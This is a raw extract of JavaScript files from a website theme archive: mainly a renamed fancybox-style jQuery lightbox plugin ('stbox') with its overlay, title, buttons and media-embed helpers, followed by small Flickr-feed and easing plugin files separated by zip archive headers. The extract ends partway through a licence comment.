				scrollOut  = current.scrollOutside ? current.scrollbarWidth : 0,
				margin     = current.margin,
				wMargin    = getScalar(margin[1] + margin[3]),
				hMargin    = getScalar(margin[0] + margin[2]),
				wPadding,
				hPadding,
				wSpace,
				hSpace,
				origWidth,
				origHeight,
				origMaxWidth,
				origMaxHeight,
				ratio,
				width_,
				height_,
				maxWidth_,
				maxHeight_,
				iframe,
				body;

			// Reset dimensions so we could re-check actual size
			wrap.add(skin).add(inner).width('auto').height('auto').removeClass('stbox-tmp');

			wPadding = getScalar(skin.outerWidth(true)  - skin.width());
			hPadding = getScalar(skin.outerHeight(true) - skin.height());

			// Any space between content and viewport (margin, padding, border, title)
			wSpace = wMargin + wPadding;
			hSpace = hMargin + hPadding;

			origWidth  = isPercentage(width)  ? (viewport.w - wSpace) * getScalar(width)  / 100 : width;
			origHeight = isPercentage(height) ? (viewport.h - hSpace) * getScalar(height) / 100 : height;

			if (current.type === 'iframe') {
				iframe = current.content;

				if (current.autoHeight && iframe.data('ready') === 1) {
					try {
						if (iframe[0].contentWindow.document.location) {
							inner.width( origWidth ).height(9999);

							body = iframe.contents().find('body');

							if (scrollOut) {
								body.css('overflow-x', 'hidden');
							}

							origHeight = body.outerHeight(true);
						}

					} catch (e) {}
				}

			} else if (current.autoWidth || current.autoHeight) {
				inner.addClass( 'stbox-tmp' );

				// Set width or height in case we need to calculate only one dimension
				if (!current.autoWidth) {
					inner.width( origWidth );
				}

				if (!current.autoHeight) {
					inner.height( origHeight );
				}

				if (current.autoWidth) {
					origWidth = inner.width();
				}

				if (current.autoHeight) {
					origHeight = inner.height();
				}

				inner.removeClass( 'stbox-tmp' );
			}

			width  = getScalar( origWidth );
			height = getScalar( origHeight );

			ratio  = origWidth / origHeight;

			// Calculations for the content
			minWidth  = getScalar(isPercentage(minWidth) ? getScalar(minWidth, 'w') - wSpace : minWidth);
			maxWidth  = getScalar(isPercentage(maxWidth) ? getScalar(maxWidth, 'w') - wSpace : maxWidth);

			minHeight = getScalar(isPercentage(minHeight) ? getScalar(minHeight, 'h') - hSpace : minHeight);
			maxHeight = getScalar(isPercentage(maxHeight) ? getScalar(maxHeight, 'h') - hSpace : maxHeight);

			// These will be used to determine if wrap can fit in the viewport
			origMaxWidth  = maxWidth;
			origMaxHeight = maxHeight;

			if (current.fitToView) {
				maxWidth  = Math.min(viewport.w - wSpace, maxWidth);
				maxHeight = Math.min(viewport.h - hSpace, maxHeight);
			}

			maxWidth_  = viewport.w - wMargin;
			maxHeight_ = viewport.h - hMargin;

			if (current.aspectRatio) {
				if (width > maxWidth) {
					width  = maxWidth;
					height = getScalar(width / ratio);
				}

				if (height > maxHeight) {
					height = maxHeight;
					width  = getScalar(height * ratio);
				}

				if (width < minWidth) {
					width  = minWidth;
					height = getScalar(width / ratio);
				}

				if (height < minHeight) {
					height = minHeight;
					width  = getScalar(height * ratio);
				}

			} else {
				width = Math.max(minWidth, Math.min(width, maxWidth));

				if (current.autoHeight && current.type !== 'iframe') {
					inner.width( width );

					height = inner.height();
				}

				height = Math.max(minHeight, Math.min(height, maxHeight));
			}

			// Try to fit inside viewport (including the title)
			if (current.fitToView) {
				inner.width( width ).height( height );

				wrap.width( width + wPadding );

				// Real wrap dimensions
				width_  = wrap.width();
				height_ = wrap.height();

				if (current.aspectRatio) {
					while ((width_ > maxWidth_ || height_ > maxHeight_) && width > minWidth && height > minHeight) {
						if (steps++ > 19) {
							break;
						}

						height = Math.max(minHeight, Math.min(maxHeight, height - 10));
						width  = getScalar(height * ratio);

						if (width < minWidth) {
							width  = minWidth;
							height = getScalar(width / ratio);
						}

						if (width > maxWidth) {
							width  = maxWidth;
							height = getScalar(width / ratio);
						}

						inner.width( width ).height( height );

						wrap.width( width + wPadding );

						width_  = wrap.width();
						height_ = wrap.height();
					}

				} else {
					width  = Math.max(minWidth,  Math.min(width,  width  - (width_  - maxWidth_)));
					height = Math.max(minHeight, Math.min(height, height - (height_ - maxHeight_)));
				}
			}

			if (scrollOut && scrolling === 'auto' && height < origHeight && (width + wPadding + scrollOut) < maxWidth_) {
				width += scrollOut;
			}

			inner.width( width ).height( height );

			wrap.width( width + wPadding );

			width_  = wrap.width();
			height_ = wrap.height();

			canShrink = (width_ > maxWidth_ || height_ > maxHeight_) && width > minWidth && height > minHeight;
			canExpand = current.aspectRatio ? (width < origMaxWidth && height < origMaxHeight && width < origWidth && height < origHeight) : ((width < origMaxWidth || height < origMaxHeight) && (width < origWidth || height < origHeight));

			$.extend(current, {
				dim : {
					width	: getValue( width_ ),
					height	: getValue( height_ )
				},
				origWidth  : origWidth,
				origHeight : origHeight,
				canShrink  : canShrink,
				canExpand  : canExpand,
				wPadding   : wPadding,
				hPadding   : hPadding,
				wrapSpace  : height_ - skin.outerHeight(true),
				skinSpace  : skin.height() - height
			});

			if (!iframe && current.autoHeight && height > minHeight && height < maxHeight && !canExpand) {
				inner.height('auto');
			}
		},

		_getPosition: function (onlyAbsolute) {
			var current  = F.current,
				viewport = F.getViewport(),
				margin   = current.margin,
				width    = F.wrap.width()  + margin[1] + margin[3],
				height   = F.wrap.height() + margin[0] + margin[2],
				rez      = {
					position: 'absolute',
					top  : margin[0],
					left : margin[3]
				};

			if (current.autoCenter && current.fixed && !onlyAbsolute && height <= viewport.h && width <= viewport.w) {
				rez.position = 'fixed';

			} else if (!current.locked) {
				rez.top  += viewport.y;
				rez.left += viewport.x;
			}

			rez.top  = getValue(Math.max(rez.top,  rez.top  + ((viewport.h - height) * current.topRatio)));
			rez.left = getValue(Math.max(rez.left, rez.left + ((viewport.w - width)  * current.leftRatio)));

			return rez;
		},

		_afterZoomIn: function () {
			var current = F.current;

			if (!current) {
				return;
			}

			F.isOpen = F.isOpened = true;

			F.wrap.css('overflow', 'visible').addClass('stbox-opened');

			F.update();

			// Assign a click event
			if ( current.closeClick || (current.nextClick && F.group.length > 1) ) {
				F.inner.css('cursor', 'pointer').bind('click.fb', function(e) {
					if (!$(e.target).is('a') && !$(e.target).parent().is('a')) {
						e.preventDefault();

						F[ current.closeClick ? 'close' : 'next' ]();
					}
				});
			}

			// Create a close button
			if (current.closeBtn) {
				$(current.tpl.closeBtn).appendTo(F.skin).bind('click.fb', function(e) {
					e.preventDefault();

					F.close();
				});
			}

			// Create navigation arrows
			if (current.arrows && F.group.length > 1) {
				if (current.loop || current.index > 0) {
					$(current.tpl.prev).appendTo(F.outer).bind('click.fb', F.prev);
				}

				if (current.loop || current.index < F.group.length - 1) {
					$(current.tpl.next).appendTo(F.outer).bind('click.fb', F.next);
				}
			}

			F.trigger('afterShow');

			// Stop the slideshow if this is the last item
			if (!current.loop && current.index === current.group.length - 1) {
				F.play( false );

			} else if (F.opts.autoPlay && !F.player.isActive) {
				F.opts.autoPlay = false;

				F.play();
			}
		},

		_afterZoomOut: function ( obj ) {
			obj = obj || F.current;

			$('.stbox-wrap').trigger('onReset').remove();

			$.extend(F, {
				group  : {},
				opts   : {},
				router : false,
				current   : null,
				isActive  : false,
				isOpened  : false,
				isOpen    : false,
				isClosing : false,
				wrap   : null,
				skin   : null,
				outer  : null,
				inner  : null
			});

			F.trigger('afterClose', obj);
		}
	});

	/*
	 *	Default transitions
	 */

	F.transitions = {
		getOrigPosition: function () {
			var current  = F.current,
				element  = current.element,
				orig     = current.orig,
				pos      = {},
				width    = 50,
				height   = 50,
				hPadding = current.hPadding,
				wPadding = current.wPadding,
				viewport = F.getViewport();

			if (!orig && current.isDom && element.is(':visible')) {
				orig = element.find('img:first');

				if (!orig.length) {
					orig = element;
				}
			}

			if (isQuery(orig)) {
				pos = orig.offset();

				if (orig.is('img')) {
					width  = orig.outerWidth();
					height = orig.outerHeight();
				}

			} else {
				pos.top  = viewport.y + (viewport.h - height) * current.topRatio;
				pos.left = viewport.x + (viewport.w - width)  * current.leftRatio;
			}

			if (F.wrap.css('position') === 'fixed' || current.locked) {
				pos.top  -= viewport.y;
				pos.left -= viewport.x;
			}

			pos = {
				top     : getValue(pos.top  - hPadding * current.topRatio),
				left    : getValue(pos.left - wPadding * current.leftRatio),
				width   : getValue(width  + wPadding),
				height  : getValue(height + hPadding)
			};

			return pos;
		},

		step: function (now, fx) {
			var ratio,
				padding,
				value,
				prop       = fx.prop,
				current    = F.current,
				wrapSpace  = current.wrapSpace,
				skinSpace  = current.skinSpace;

			if (prop === 'width' || prop === 'height') {
				ratio = fx.end === fx.start ? 1 : (now - fx.start) / (fx.end - fx.start);

				if (F.isClosing) {
					ratio = 1 - ratio;
				}

				padding = prop === 'width' ? current.wPadding : current.hPadding;
				value   = now - padding;

				F.skin[ prop ](  getScalar( prop === 'width' ?  value : value - (wrapSpace * ratio) ) );
				F.inner[ prop ]( getScalar( prop === 'width' ?  value : value - (wrapSpace * ratio) - (skinSpace * ratio) ) );
			}
		},

		zoomIn: function () {
			var current  = F.current,
				startPos = current.pos,
				effect   = current.openEffect,
				elastic  = effect === 'elastic',
				endPos   = $.extend({opacity : 1}, startPos);

			// Remove "position" property that breaks older IE
			delete endPos.position;

			if (elastic) {
				startPos = this.getOrigPosition();

				if (current.openOpacity) {
					startPos.opacity = 0.1;
				}

			} else if (effect === 'fade') {
				startPos.opacity = 0.1;
			}

			F.wrap.css(startPos).animate(endPos, {
				duration : effect === 'none' ? 0 : current.openSpeed,
				easing   : current.openEasing,
				step     : elastic ? this.step : null,
				complete : F._afterZoomIn
			});
		},

		zoomOut: function () {
			var current  = F.current,
				effect   = current.closeEffect,
				elastic  = effect === 'elastic',
				endPos   = {opacity : 0.1};

			if (elastic) {
				endPos = this.getOrigPosition();

				if (current.closeOpacity) {
					endPos.opacity = 0.1;
				}
			}

			F.wrap.animate(endPos, {
				duration : effect === 'none' ? 0 : current.closeSpeed,
				easing   : current.closeEasing,
				step     : elastic ? this.step : null,
				complete : F._afterZoomOut
			});
		},

		changeIn: function () {
			var current   = F.current,
				effect    = current.nextEffect,
				startPos  = current.pos,
				endPos    = { opacity : 1 },
				direction = F.direction,
				distance  = 200,
				field;

			startPos.opacity = 0.1;

			if (effect === 'elastic') {
				field = direction === 'down' || direction === 'up' ? 'top' : 'left';

				if (direction === 'down' || direction === 'right') {
					startPos[ field ] = getValue(getScalar(startPos[ field ]) - distance);
					endPos[ field ]   = '+=' + distance + 'px';

				} else {
					startPos[ field ] = getValue(getScalar(startPos[ field ]) + distance);
					endPos[ field ]   = '-=' + distance + 'px';
				}
			}

			// Workaround for http://bugs.jquery.com/ticket/12273
			if (effect === 'none') {
				F._afterZoomIn();

			} else {
				F.wrap.css(startPos).animate(endPos, {
					duration : current.nextSpeed,
					easing   : current.nextEasing,
					complete : F._afterZoomIn
				});
			}
		},

		changeOut: function () {
			var previous  = F.previous,
				effect    = previous.prevEffect,
				endPos    = { opacity : 0.1 },
				direction = F.direction,
				distance  = 200;

			if (effect === 'elastic') {
				endPos[ direction === 'down' || direction === 'up' ? 'top' : 'left' ] = ( direction === 'up' || direction === 'left' ? '-' : '+' ) + '=' + distance + 'px';
			}

			previous.wrap.animate(endPos, {
				duration : effect === 'none' ? 0 : previous.prevSpeed,
				easing   : previous.prevEasing,
				complete : function () {
					$(this).trigger('onReset').remove();
				}
			});
		}
	};

	/*
	 *	Overlay helper
	 */

	F.helpers.overlay = {
		defaults : {
			closeClick : true,      // if true, stbox will be closed when user clicks on the overlay
			speedOut   : 200,       // duration of fadeOut animation
			showEarly  : true,      // indicates if should be opened immediately or wait until the content is ready
			css        : {},        // custom CSS properties
			locked     : !isTouch,  // if true, the content will be locked into overlay
			fixed      : true       // if false, the overlay CSS position property will not be set to "fixed"
		},

		overlay : null,      // current handle
		fixed   : false,     // indicates if the overlay has position "fixed"
		el      : $('html'), // element that contains "the lock"

		// Public methods
		create : function(opts) {
			opts = $.extend({}, this.defaults, opts);

			if (this.overlay) {
				this.close();
			}

			this.overlay = $('<div class="stbox-overlay"></div>').appendTo( F.coming ? F.coming.parent : opts.parent );
			this.fixed   = false;

			if (opts.fixed && F.defaults.fixed) {
				this.overlay.addClass('stbox-overlay-fixed');

				this.fixed = true;
			}
		},

		open : function(opts) {
			var that = this;

			opts = $.extend({}, this.defaults, opts);

			if (this.overlay) {
				this.overlay.unbind('.overlay').width('auto').height('auto');

			} else {
				this.create(opts);
			}

			if (!this.fixed) {
				W.bind('resize.overlay', $.proxy( this.update, this) );

				this.update();
			}

			if (opts.closeClick) {
				this.overlay.bind('click.overlay', function(e) {
					if ($(e.target).hasClass('stbox-overlay')) {
						if (F.isActive) {
							F.close();
						} else {
							that.close();
						}

						return false;
					}
				});
			}

			this.overlay.css( opts.css ).show();
		},

		close : function() {
			var scrollV, scrollH;

			W.unbind('resize.overlay');

			if (this.el.hasClass('stbox-lock')) {
				$('.stbox-margin').removeClass('stbox-margin');

				scrollV = W.scrollTop();
				scrollH = W.scrollLeft();

				this.el.removeClass('stbox-lock');

				W.scrollTop( scrollV ).scrollLeft( scrollH );
			}

			$('.stbox-overlay').remove().hide();

			$.extend(this, {
				overlay : null,
				fixed   : false
			});
		},

		// Private, callbacks

		update : function () {
			var width = '100%', offsetWidth;

			// Reset width/height so it will not mess
			this.overlay.width(width).height('100%');

			// jQuery does not return reliable result for IE
			if (IE) {
				offsetWidth = Math.max(document.documentElement.offsetWidth, document.body.offsetWidth);

				if (D.width() > offsetWidth) {
					width = D.width();
				}

			} else if (D.width() > W.width()) {
				width = D.width();
			}

			this.overlay.width(width).height(D.height());
		},

		// This is where we can manipulate DOM, because later it would cause iframes to reload
		onReady : function (opts, obj) {
			var overlay = this.overlay;

			$('.stbox-overlay').stop(true, true);

			if (!overlay) {
				this.create(opts);
			}

			if (opts.locked && this.fixed && obj.fixed) {
				if (!overlay) {
					this.margin = D.height() > W.height() ? $('html').css('margin-right').replace("px", "") : false;
				}

				obj.locked = this.overlay.append( obj.wrap );
				obj.fixed  = false;
			}

			if (opts.showEarly === true) {
				this.beforeShow.apply(this, arguments);
			}
		},

		beforeShow : function(opts, obj) {
			var scrollV, scrollH;

			if (obj.locked) {
				if (this.margin !== false) {
					$('*').filter(function(){
						return ($(this).css('position') === 'fixed' && !$(this).hasClass("stbox-overlay") && !$(this).hasClass("stbox-wrap") );
					}).addClass('stbox-margin');

					this.el.addClass('stbox-margin');
				}

				scrollV = W.scrollTop();
				scrollH = W.scrollLeft();

				this.el.addClass('stbox-lock');

				W.scrollTop( scrollV ).scrollLeft( scrollH );
			}

			this.open(opts);
		},

		onUpdate : function() {
			if (!this.fixed) {
				this.update();
			}
		},

		afterClose: function (opts) {
			// Remove overlay if exists and stbox is not opening
			// (e.g., it is not being open using afterClose callback)
			//if (this.overlay && !F.isActive) {
			if (this.overlay && !F.coming) {
				this.overlay.fadeOut(opts.speedOut, $.proxy( this.close, this ));
			}
		}
	};

	/*
	 *	Title helper
	 */

	F.helpers.title = {
		defaults : {
			type     : 'float', // 'float', 'inside', 'outside' or 'over',
			position : 'bottom' // 'top' or 'bottom'
		},

		beforeShow: function (opts) {
			var current = F.current,
				text    = current.title,
				type    = opts.type,
				title,
				target;

			if ($.isFunction(text)) {
				text = text.call(current.element, current);
			}

			if (!isString(text) || $.trim(text) === '') {
				return;
			}

			title = $('<div class="stbox-title stbox-title-' + type + '-wrap">' + text + '</div>');

			switch (type) {
				case 'inside':
					target = F.skin;
				break;

				case 'outside':
					target = F.wrap;
				break;

				case 'over':
					target = F.inner;
				break;

				default: // 'float'
					target = F.skin;

					title.appendTo('body');

					if (IE) {
						title.width( title.width() );
					}

					title.wrapInner('<span class="child"></span>');

					//Increase bottom margin so this title will also fit into viewport
					F.current.margin[2] += Math.abs( getScalar(title.css('margin-bottom')) );
				break;
			}

			title[ (opts.position === 'top' ? 'prependTo'  : 'appendTo') ](target);
		}
	};

	// jQuery plugin initialization
	$.fn.stbox = function (options) {
		var index,
			that     = $(this),
			selector = this.selector || '',
			run      = function(e) {
				var what = $(this).blur(), idx = index, relType, relVal;

				if (!(e.ctrlKey || e.altKey || e.shiftKey || e.metaKey) && !what.is('.stbox-wrap')) {
					relType = options.groupAttr || 'data-stbox-group';
					relVal  = what.attr(relType);

					if (!relVal) {
						relType = 'rel';
						relVal  = what.get(0)[ relType ];
					}

					if (relVal && relVal !== '' && relVal !== 'nofollow') {
						what = selector.length ? $(selector) : that;
						what = what.filter('[' + relType + '="' + relVal + '"]');
						idx  = what.index(this);
					}

					options.index = idx;

					// Stop an event from bubbling if everything is fine
					if (F.open(what, options) !== false) {
						e.preventDefault();
					}
				}
			};

		options = options || {};
		index   = options.index || 0;

		if (!selector || options.live === false) {
			that.unbind('click.fb-start').bind('click.fb-start', run);

		} else {
			D.undelegate(selector, 'click.fb-start').delegate(selector + ":not('.stbox-item, .stbox-nav')", 'click.fb-start', run);
		}

		this.filter('[data-stbox-start=1]').trigger('click');

		return this;
	};

	// Tests that need a body at doc ready
	D.ready(function() {
		var w1, w2;

		if ( $.scrollbarWidth === undefined ) {
			// http://benalman.com/projects/jquery-misc-plugins/#scrollbarwidth
			$.scrollbarWidth = function() {
				var parent = $('<div style="width:50px;height:50px;overflow:auto"><div/></div>').appendTo('body'),
					child  = parent.children(),
					width  = child.innerWidth() - child.height( 99 ).innerWidth();

				parent.remove();

				return width;
			};
		}

		if ( $.support.fixedPosition === undefined ) {
			$.support.fixedPosition = (function() {
				var elem  = $('<div style="position:fixed;top:20px;"></div>').appendTo('body'),
					fixed = ( elem[0].offsetTop === 20 || elem[0].offsetTop === 15 );

				elem.remove();

				return fixed;
			}());
		}

		$.extend(F.defaults, {
			scrollbarWidth : $.scrollbarWidth(),
			fixed  : $.support.fixedPosition,
			parent : $('body')
		});

		//Get real width of page scroll-bar
		w1 = $(window).width();

		H.addClass('stbox-lock-test');

		w2 = $(window).width();

		H.removeClass('stbox-lock-test');

		$("<style type='text/css'>.stbox-margin{margin-right:" + (w2 - w1) + "px;}</style>").appendTo("head");
	});

}(window, document, jQuery));


 /*!
 * Buttons helper for stbox
 * version: 1.0.5 (Mon, 15 Oct 2012)
 * @requires stbox v2.0 or later
 *
 * Usage:
 *     $(".stbox").stbox({
 *         helpers : {
 *             buttons: {
 *                 position : 'top'
 *             }
 *         }
 *     });
 *
 */
(function ($) {
	//Shortcut for stbox object
	var F = $.stbox;

	//Add helper object
	F.helpers.buttons = {
		defaults : {
			skipSingle : false, // disables if gallery contains single image
			position   : 'bottom', // 'top' or 'bottom'
			tpl        : '<div id="stbox-buttons"><div class="stbox-navigation"><a class="btnPrev" title="Previous" href="javascript:;"><i class="icon-backward-2"></i></a><a class="btnPlay" title="Start slideshow" href="javascript:;"><i class="icon-play-3"></i></a><a class="btnNext" title="Next" href="javascript:;"><i class="icon-forward-3"></i></a><a class="btnToggle" title="Toggle size" href="javascript:;"><i class="icon-fullscreen"></i></a><a class="btnClose" title="Close" href="javascript:;"><i class="icon-close"></i></a></div></div>'
		},

		list : null,
		buttons: null,

		beforeLoad: function (opts, obj) {
			//Remove self if gallery do not have at least two items

			if (opts.skipSingle && obj.group.length < 2) {
				obj.helpers.buttons = false;
				obj.closeBtn = true;

				return;
			}
			//Increase top margin to give space for buttons
			obj.margin[ opts.position === 'bottom' ? 2 : 0 ] += 30;
		},

		onPlayStart: function () {
			if (this.buttons) {
				this.buttons.play.attr('title', 'Pause slideshow').addClass('btnPlayOn').find('.icon-play-3').removeClass("icon-play-3").addClass("icon-pause-6");
			}
		},

		onPlayEnd: function () {
			if (this.buttons) {
				this.buttons.play.attr('title', 'Start slideshow').removeClass('btnPlayOn').find('.icon-pause-6').removeClass("icon-pause-6").addClass("icon-play-3");
			}
		},

		afterShow: function (opts, obj) {
			var buttons = this.buttons;

			if (!buttons) {
				this.list = $(opts.tpl).addClass(opts.position).appendTo('body');

				buttons = {
					prev   : this.list.find('.btnPrev').click( F.prev ),
					next   : this.list.find('.btnNext').click( F.next ),
					play   : this.list.find('.btnPlay').click( F.play ),
					toggle : this.list.find('.btnToggle').click( F.toggle ),
					close  : this.list.find('.btnClose').click( F.close )
				}
			}

			//Prev
			if (obj.index > 0 || obj.loop) {
				buttons.prev.removeClass('btnDisabled');
			} else {
				buttons.prev.addClass('btnDisabled');
			}

			//Next / Play
			if (obj.loop || obj.index < obj.group.length - 1) {
				buttons.next.removeClass('btnDisabled');
				buttons.play.removeClass('btnDisabled');

			} else {
				buttons.next.addClass('btnDisabled');
				buttons.play.addClass('btnDisabled');
			}

			this.buttons = buttons;

			this.onUpdate(opts, obj);
		},

		onUpdate: function (opts, obj) {
			var toggle;

			if (!this.buttons) {
				return;
			}

			toggle = this.buttons.toggle.removeClass('btnDisabled btnToggleOn');

			//Size toggle button
			if (obj.canShrink) {
				toggle.addClass('btnToggleOn');
				var id = toggle.find('>i');
				if(id.hasClass("icon-fullscreen"))
					id.removeClass("icon-fullscreen").addClass("icon-fullscreen-exit");
				else
					id.removeClass("icon-fullscreen-exit").addClass("icon-fullscreen");
			} else if (!obj.canExpand) {
				toggle.addClass('btnDisabled').find('>i').removeClass("icon-fullscreen-exit").addClass("icon-fullscreen");
			}
		},

		beforeClose: function () {
			if (this.list) {
				this.list.remove();
			}

			this.list    = null;
			this.buttons = null;
		}
	};

}(jQuery));

// Media

/*!
 * Media helper for stbox
 * version: 1.0.6 (Fri, 14 Jun 2013)
 * @requires stbox v2.0 or later
 *
 * Usage:
 *     $(".stbox").stbox({
 *         helpers : {
 *             media: true
 *         }
 *     });
 *
 * Set custom URL parameters:
 *     $(".stbox").stbox({
 *         helpers : {
 *             media: {
 *                 youtube : {
 *                     params : {
 *                         autoplay : 0
 *                     }
 *                 }
 *             }
 *         }
 *     });
 *
 * Or:
 *     $(".stbox").stbox({,
 *         helpers : {
 *             media: true
 *         },
 *         youtube : {
 *             autoplay: 0
 *         }
 *     });
 *
 *  Supports:
 *
 *      Youtube
 *          http://www.youtube.com/watch?v=opj24KnzrWo
 *          http://www.youtube.com/embed/opj24KnzrWo
 *          http://youtu.be/opj24KnzrWo
 *			http://www.youtube-nocookie.com/embed/opj24KnzrWo
 *      Vimeo
 *          http://vimeo.com/40648169
 *          http://vimeo.com/channels/staffpicks/38843628
 *          http://vimeo.com/groups/surrealism/videos/36516384
 *          http://player.vimeo.com/video/45074303
 *      Metacafe
 *          http://www.metacafe.com/watch/7635964/dr_seuss_the_lorax_movie_trailer/
 *          http://www.metacafe.com/watch/7635964/
 *      Dailymotion
 *          http://www.dailymotion.com/video/xoytqh_dr-seuss-the-lorax-premiere_people
 *      Twitvid
 *          http://twitvid.com/QY7MD
 *      Twitpic
 *          http://twitpic.com/7p93st
 *      Instagram
 *          http://instagr.am/p/IejkuUGxQn/
 *          http://instagram.com/p/IejkuUGxQn/
 *      Google maps
 *          http://maps.google.com/maps?q=Eiffel+Tower,+Avenue+Gustave+Eiffel,+Paris,+France&t=h&z=17
 *          http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
 *          http://maps.google.com/?ll=48.859463,2.292626&spn=0.000965,0.002642&t=m&z=19&layer=c&cbll=48.859524,2.292532&panoid=YJ0lq28OOy3VT2IqIuVY0g&cbp=12,151.58,,0,-15.56
 */
(function ($) {
	"use strict";

	//Shortcut for stbox object
	var F = $.stbox,
		format = function( url, rez, params ) {
			params = params || '';

			if ( $.type( params ) === "object" ) {
				params = $.param(params, true);
			}

			$.each(rez, function(key, value) {
				url = url.replace( '$' + key, value || '' );
			});

			if (params.length) {
				url += ( url.indexOf('?') > 0 ? '&' : '?' ) + params;
			}

			return url;
		};

	//Add helper object
	F.helpers.media = {
		defaults : {
			youtube : {
				matcher : /(youtube\.com|youtu\.be|youtube-nocookie\.com)\/(watch\?v=|v\/|u\/|embed\/?)?(videoseries\?list=(.*)|[\w-]{11}|\?listType=(.*)&list=(.*)).*/i,
				params  : {
					autoplay    : 1,
					autohide    : 1,
					fs          : 1,
					rel         : 0,
					hd          : 1,
					wmode       : 'opaque',
					enablejsapi : 1
				},
				type : 'iframe',
				url  : '//www.youtube.com/embed/$3'
			},
			vimeo : {
				matcher : /(?:vimeo(?:pro)?.com)\/(?:[^\d]+)?(\d+)(?:.*)/,
				params  : {
					autoplay      : 1,
					hd            : 1,
					show_title    : 1,
					show_byline   : 1,
					show_portrait : 0,
					fullscreen    : 1
				},
				type : 'iframe',
				url  : '//player.vimeo.com/video/$1'
			},
			metacafe : {
				matcher : /metacafe.com\/(?:watch|fplayer)\/([\w\-]{1,10})/,
				params  : {
					autoPlay : 'yes'
				},
				type : 'swf',
				url  : function( rez, params, obj ) {
					obj.swf.flashVars = 'playerVars=' + $.param( params, true );

					return '//www.metacafe.com/fplayer/' + rez[1] + '/.swf';
				}
			},
			dailymotion : {
				matcher : /dailymotion.com\/video\/(.*)\/?(.*)/,
				params  : {
					additionalInfos : 0,
					autoStart : 1
				},
				type : 'swf',
				url  : '//www.dailymotion.com/swf/video/$1'
			},
			twitvid : {
				matcher : /twitvid\.com\/([a-zA-Z0-9_\-\?\=]+)/i,
				params  : {
					autoplay : 0
				},
				type : 'iframe',
				url  : '//www.twitvid.com/embed.php?guid=$1'
			},
			twitpic : {
				matcher : /twitpic\.com\/(?!(?:place|photos|events)\/)([a-zA-Z0-9\?\=\-]+)/i,
				type : 'image',
				url  : '//twitpic.com/show/full/$1/'
			},
			instagram : {
				matcher : /(instagr\.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i,
				type : 'image',
				url  : '//$1/p/$2/media/?size=l'
			},
			google_maps : {
				matcher : /maps\.google\.([a-z]{2,3}(\.[a-z]{2})?)\/(\?ll=|maps\?)(.*)/i,
				type : 'iframe',
				url  : function( rez ) {
					return '//maps.google.' + rez[1] + '/' + rez[3] + '' + rez[4] + '&output=' + (rez[4].indexOf('layer=c') > 0 ? 'svembed' : 'embed');
				}
			}
		},

		beforeLoad : function(opts, obj) {
			var url   = obj.href || '',
				type  = false,
				what,
				item,
				rez,
				params;

			for (what in opts) {
				if (opts.hasOwnProperty(what)) {
					item = opts[ what ];
					rez  = url.match( item.matcher );

					if (rez) {
						type   = item.type;
						params = $.extend(true, {}, item.params, obj[ what ] || ($.isPlainObject(opts[ what ]) ? opts[ what ].params : null));

						url = $.type( item.url ) === "function" ? item.url.call( this, rez, params, obj ) : format( item.url, rez, params );

						break;
					}
				}
			}

			if (type) {
				obj.href = url;
				obj.type = type;

				obj.autoHeight = false;
			}
		}
	};

}(jQuery));

PK!�r^(bluetheme/assets/js/jquery-noconflict.jsnu&1i�jQuery.noConflict();
PK!i�ʹ�&bluetheme/assets/js/jflickrfeed.min.jsnu&1i�/*
* Copyright (C) 2009 Joel Sutherland
* Licenced under the MIT license
* http://www.newmediacampaigns.com/page/jquery-flickr-plugin
*
* Available tags for templates:
* title, link, date_taken, description, published, author, author_id, tags, image*
*/
(function($){$.fn.jflickrfeed=function(settings,callback){settings=$.extend(true,{flickrbase:'http://api.flickr.com/services/feeds/',feedapi:'photos_public.gne',limit:20,qstrings:{lang:'en-us',format:'json',jsoncallback:'?'},cleanDescription:true,useTemplate:true,itemTemplate:'',itemCallback:function(){}},settings);var url=settings.flickrbase+settings.feedapi+'?';var first=true;for(var key in settings.qstrings){if(!first)
url+='&';url+=key+'='+settings.qstrings[key];first=false;}
return $(this).each(function(){var $container=$(this);var container=this;$.getJSON(url,function(data){$.each(data.items,function(i,item){if(i<settings.limit){if(settings.cleanDescription){var regex=/<p>(.*?)<\/p>/g;var input=item.description;if(regex.test(input)){item.description=input.match(regex)[2]
if(item.description!=undefined)
item.description=item.description.replace('<p>','').replace('</p>','');}}
item['image_s']=item.media.m.replace('_m','_s');item['image_t']=item.media.m.replace('_m','_t');item['image_m']=item.media.m.replace('_m','_m');item['image']=item.media.m.replace('_m','');item['image_b']=item.media.m.replace('_m','_b');delete item.media;if(settings.useTemplate){var template=settings.itemTemplate;for(var key in item){var rgx=new RegExp('{{'+key+'}}','g');template=template.replace(rgx,item[key]);}
$container.append(template)}
settings.itemCallback.call(container,item);}});if($.isFunction(callback)){callback.call(container,data);}});});}})(jQuery);PK!l����(bluetheme/assets/js/jquery.easing.1.3.jsnu&1i�/*
 * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
 *
 * Uses the built in easing capabilities added In jQuery 1.1
 * to offer multiple easing options
 *
 * TERMS OF USE - jQuery Easing
 * 
 * Open source under the BSD License. 
 * 
 * Copyright © 2008 George McGinley Smith
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without modification, 
 * are permitted provided that the following conditions are met:
 * 
 * Redistributions of source code must retain the above copyright notice, this list of 
 * conditions and the following disclaimer.
 * Redistributions in binary form must reproduce the above copyright notice, this list 
 * of conditions and the following disclaimer in the documentation and/or other materials 
 * provided with the distribution.
 * 
 * Neither the name of the author nor the names of contributors may be used to endorse 
 * or promote products derived from this software without specific prior written permission.
 * 
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY 
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 *  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
 *  GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 
 * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
